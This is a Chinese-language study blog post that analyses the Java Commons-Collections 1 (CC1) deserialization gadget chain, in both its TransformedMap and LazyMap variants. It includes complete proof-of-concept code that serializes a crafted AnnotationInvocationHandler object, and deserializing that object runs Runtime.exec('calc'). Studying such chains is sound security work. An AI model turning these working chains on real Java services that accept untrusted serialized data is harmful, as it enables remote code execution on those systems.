java反序列化CC1链

1
2
参考:https://sun1028.top/2025/09/14/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc1%e9%93%be/
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1387.homepage.video_card.click&vd_source=a6499c8d882cb6d106922aae77725c31

简单介绍

CC1 全称 Commons-Collections1,是利用了 Apache Commons 项目中的 Commons-Collections 库的一个反序列化漏洞

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为 Apache 开放项目的重要组件,Commons Collections 被广泛的各种 Java 应用的开发,⽽正 是因为在⼤量 web 应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性

CC1利用版本

CC1链当中是有一定的利用条件的:

JDK版本<=8u71&&CommonsCollections <= 3.2.1

设置 maven,配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

记得刷新Maven

链子分析

image-20260130182701899

是分为两个链子的

Transformed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
链子
这个是漏洞的org.apache.commons.collections.functors.InvokerTransformer的transfrom方法
AnnotationInvocationHandler类
-> readObject()
-> setValue()

TransformedMap类
-> MapEntry类
->checkSetValue()
-> setValue()

ChainedTransformer类
-> transform(Transformers[])
-> ConstantTransformer类
-> transform(Runtime.class)

InvokerTransformer类
-> transform(Runtime.class)
-> getClass()
-> getMethod()
-> invoke()
->exec()

image-20260130182835408

首先去看Transformer 是一个接口,根据注释, transform() 方法是把输入的对象转换成某个输出对象,而且这

个输入对象应该保持不变。然后我们就去查看关于他的用法,他是在InvokerTransformer当中调用

image-20260130184317659

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

可以看到其中存在几个关键点为getClass以及getMethod和invoke方法,这几个方法都是在JAVA反射当

中的一些关键词,查看成员属性是否可控。

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

可以发现他是参数可控分别接受参数为String、Class、Object

并且由transform(Object input)知道transform方法当中的参数为getClass,iMethodName为方法名称,iParamTypes为传递参数类型,iArgs为传递参数值

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC_one {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
}
}

image-20260130185304033

通过去调用这个InvokerTransformer.transform(危险方法)查看能不能去进行命令执行。发现是可以的,接着

1
2
调用InvokerTransformer中的transform方法。
transform方法当中参数可控。知道了这样的信息

接着去看看哪里调用了transform,构造链子

image-20260130183217952

发现

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

不过这个是私有属性,接着去查看这个源的构造函数

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

我们可以看到参数是可控的,但是也是私有属性不支持外部调用,接着往上面去看

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

发现是有这个东西去new了这个构造方法,并且去赋值了,正好是静态方法,直接去看能不能通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

Runtime runtime = Runtime.getRuntime();

HashedMap hashMap = new HashedMap();
Map dMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
System.out.println(dMap);
Class<TransformedMap> transformedMapClass = TransformedMap.class;

//获取私有的方法
Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(dMap, runtime);
}
}

image-20260130190313431

发现这个其实是可以去走通的

1
TransformedMap.decorate.checkvalue -> InvokerTransformer.transform(危险方法)

到这里还是没有做到对value可控,还是依靠手动传入Runtime类

之后我们就来分析哪里调用了这个checkSetValue方法

image-20260130191218415

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

同时这个类是TransformedMap 的父类,Entry 代表的事 Map 中的一个键值对,但是在 MapEntry 中我们可以调用 setValue 方法,这个方法是从其父类 AbstractMapEntryDecorator(实现了 Map.Entry 接口)继承而来的,引入了 Map.Entry 接口,所以我们只需要进行常用的 Map 遍历,就可以调用 setValue ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) {
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]
{String.class}, new Object[]{"calc"});
Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("key","value");
Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(runtime);
}
}
}

image-20260130193350411

那么接下来就是value的值可以去控制,然后就是去找readObject方法了,继续找哪里调用了setValue方法,保证调用的是AbstractMapEntryDecorator即可。

image-20260130193932539

直接找到AbstractMapEntryDecorator-> setValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Object var2 = null;

try {
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var10.memberTypes();

for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}

}

先去看这个类的构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

接受 Class 继承于 Annotation,在 java 中他是注释,即 @Override

第二个参数是 Map 类型,可以将 TransformedMap 传入

对于 memberValues 可控

解决问题

Runtime

首先是怎么去调用setvalue,然后就是Runtime 无法反序列化因为没有 Seriablable 接口(去反射调用)

1
2
3
4
5
Class c =Runtime.class;
Method method =c.getMethod("getRuntime");//可以跟踪一下可以发现是有return返回的
Runtime runtime = (Runtime)method.invoke(null,null);//Runtime.getruntime()
Method run =c.getMethod("exec",String.class);//String是exec参数
run.invoke(runtime,"calc");//最后调用执行

通过查找用法发现 ChainedTransformer 类下的 transform 方法递归调用了前一个方法的结果,作为后一个方法的参数

1
2
3
4
5
6
7
8
9
Class runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
chainedTransformer.transform(runtime);

setvalue

如果去执行,需要去过两个if语句,要看这个参数是怎么来的,我们先去断点去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Class runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
chainedTransformer.transform(runtime);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("key", "value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, objectObjectHashMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20260130201959377

发现是

1
2
Class<?> memberType = memberTypes.get(name);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

发现是通过 annotationTypes 调用了 memberTypes 方法来的

重点就是绕过两个if

绕过第一个 if:成员名匹配

源码逻辑大概是:从 Map 中取出一个 Key,去注解类里找有没有同名的方法

image-20260130212936705

1
ok,直接传Object o = declaredConstructor.newInstance(java.lang.annotation.Retention.class, decorate);

第二个只要有匹配就行

image-20260130212759321

成功走到,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) throws Exception {
// 1. 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2. 构造 TransformedMap
HashMap<Object, Object> innerMap = new HashMap<>();
innerMap.put("value", "feng");

// 绑定 Transformer 到 Value 的变换上
Map decorate = TransformedMap.decorate(innerMap, null, chainedTransformer);

// 3. 反射构造 AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

// 使用 Retention.class
Object o = declaredConstructor.newInstance(java.lang.annotation.Retention.class, decorate);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20260130213153312

所以最终的利用链是

1
2
3
4
5
6
7
AnnotationInvocationHandler类-> readObject()-> setValue()

TransformedMap类-> MapEntry类->checkSetValue()-> setValue()

ChainedTransformer类-> transform(Transformers[])-> ConstantTransformer类-> transform(Runtime.class)

InvokerTransformer类-> transform(Runtime.class)-> getClass()-> getMethod()-> invoke()->exec()

LazyMap 利用链

和 TransformedMap 链相比,多出来的就是需要我们了解 LazyMap 还有动态代理

image-20260131193842281

LazyMap 是利用其中的 get 方法中执行 factory.transform 其中 LaZyMap 的作用是” 懒加载”

image-20260130221508860

1
2
3
4
5
6
7
8
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);

可以看到是他和 TransformerMap 的利用的区别是存在于 TransformMap 是通过我们通过把恶意map打入链子里面的,但是 LazyMap 是通过不赋值,通过去检验map的key,如果没有则是去触发 get 方法中的 Transform 方法去达到调用到此方法的目的

而在上面我们知道了,在AnnotationInvocationHandler里面memberValues 是可控的

所以我们只要触发 invoke 就可以了,通过 AnnotationInvocationHandlerProxy 进行代理,readObject` 的时候,只要调用任意方法,就能够触发到 invoke 方法,从而触发 get 了

但是首先我们要先了解什么是动态代理

动态代理

Java 中的动态代理是一种在运行时创建代理对象的机制,该代理对象能够拦截对目标对象方法的调用并在调用前后执行额外的逻辑,动态代理通常用于在不修改原始代码的情况下实现日志记录、性能监控、事务管理等功能。总的来说,就是在一个封装的方法里面去扩展这个方法

动态代理主要使用java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口来实现,Proxy类用于创建代理对象,而InvocationHandler接口则负责处理代理对象方法的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.javasec.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

class InvocationHandlerDemo implements InvocationHandler {
protected Object obj;

public InvocationHandlerDemo(Object obj) {
this.obj = obj;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0){
System.out.println("invoke is called.");
}
return method.invoke(this.obj, args);
}
}

public class ProxyTest {
public static void main(String[] args) {

Map map = new HashMap();

map.put("k", "v");
// 正常通过键获取值的方式
System.out.println("k: " + map.get("k"));

System.out.println("--------------------------");

// 通过代理的方式
// 首先先创建InvocationHandler实例
InvocationHandler invocationHandler = new InvocationHandlerDemo(map);

// 再创建代理实例对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
// 最后通过代理对象执行相关操作
String result = (String) proxyMap.get("k");
System.out.println("k: " + result);
}
}

/* 执行结果:
k: v
--------------------------
invoke is called.
k: v
*/

被动态代理的对象每执行一个方法,都会调用对应的实现InvocationHandler接口类的invoke方法。

LayzMap

org.apache.commons.collections.map.LazyMap是一个继承自 AbstractMapDecorator 并用于创建懒加载的装饰类,它实现了MapSerializable,其中的decorate方法用于创建一个装饰后的Map实例,该方法接受一个被装饰的Map对象,以及一个工厂对象,后者将作为 Lazymap 的factory成员变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

public Object get(Object key) {
// 如果key当前不在map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

接下来我们详细来看看invoke方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]); //不要调用equals,不然直接return
} else if (var5.length != 0) { //判断参数是否为空,如果不为空,则抛出异常
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

我们本质上是要去调用get,所以我们需要调用memberValues无参构造。巧合的是,AnnotationInvocationHandler的readObject方法里的memberValues就是无参方法

image-20260131194340431

闹麻了,自己去撞口上面了

lazy->decorate

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
1
AnnotationInvocationHandler.readObject ->Proxy.get -> LazyMap.get -> ChainedTransformer.transform

然后看参数,map的话直接传我们的new的hashmap,factory则是我们的传的 ChainedTransformer.transform恶意代码

1
2
3
4
5
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

最后去把代理给AnnotationInvocationHandler.readObject

1
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections11 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
serialize(handler);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

打了CC1链确实打了很久,确实是自己比较笨,看了视频,跟着打,打博客分析,打了下来发现就是利用不同类里面的同名方法去进行移花接木,从危险方法(Runtime.getRuntime().exec(“calc”);),之后准备每天早上起来就是看看CC链,关键还是自己对代码不熟悉。

1
入口:重写了readobject方法,参数类型宽泛,可以调用常见的方法(关键是可以去当跳板) -> 不同类里面的同名方法 ——>去执行

嘻嘻嘻,感谢_sun_‘s/·empty.’s /,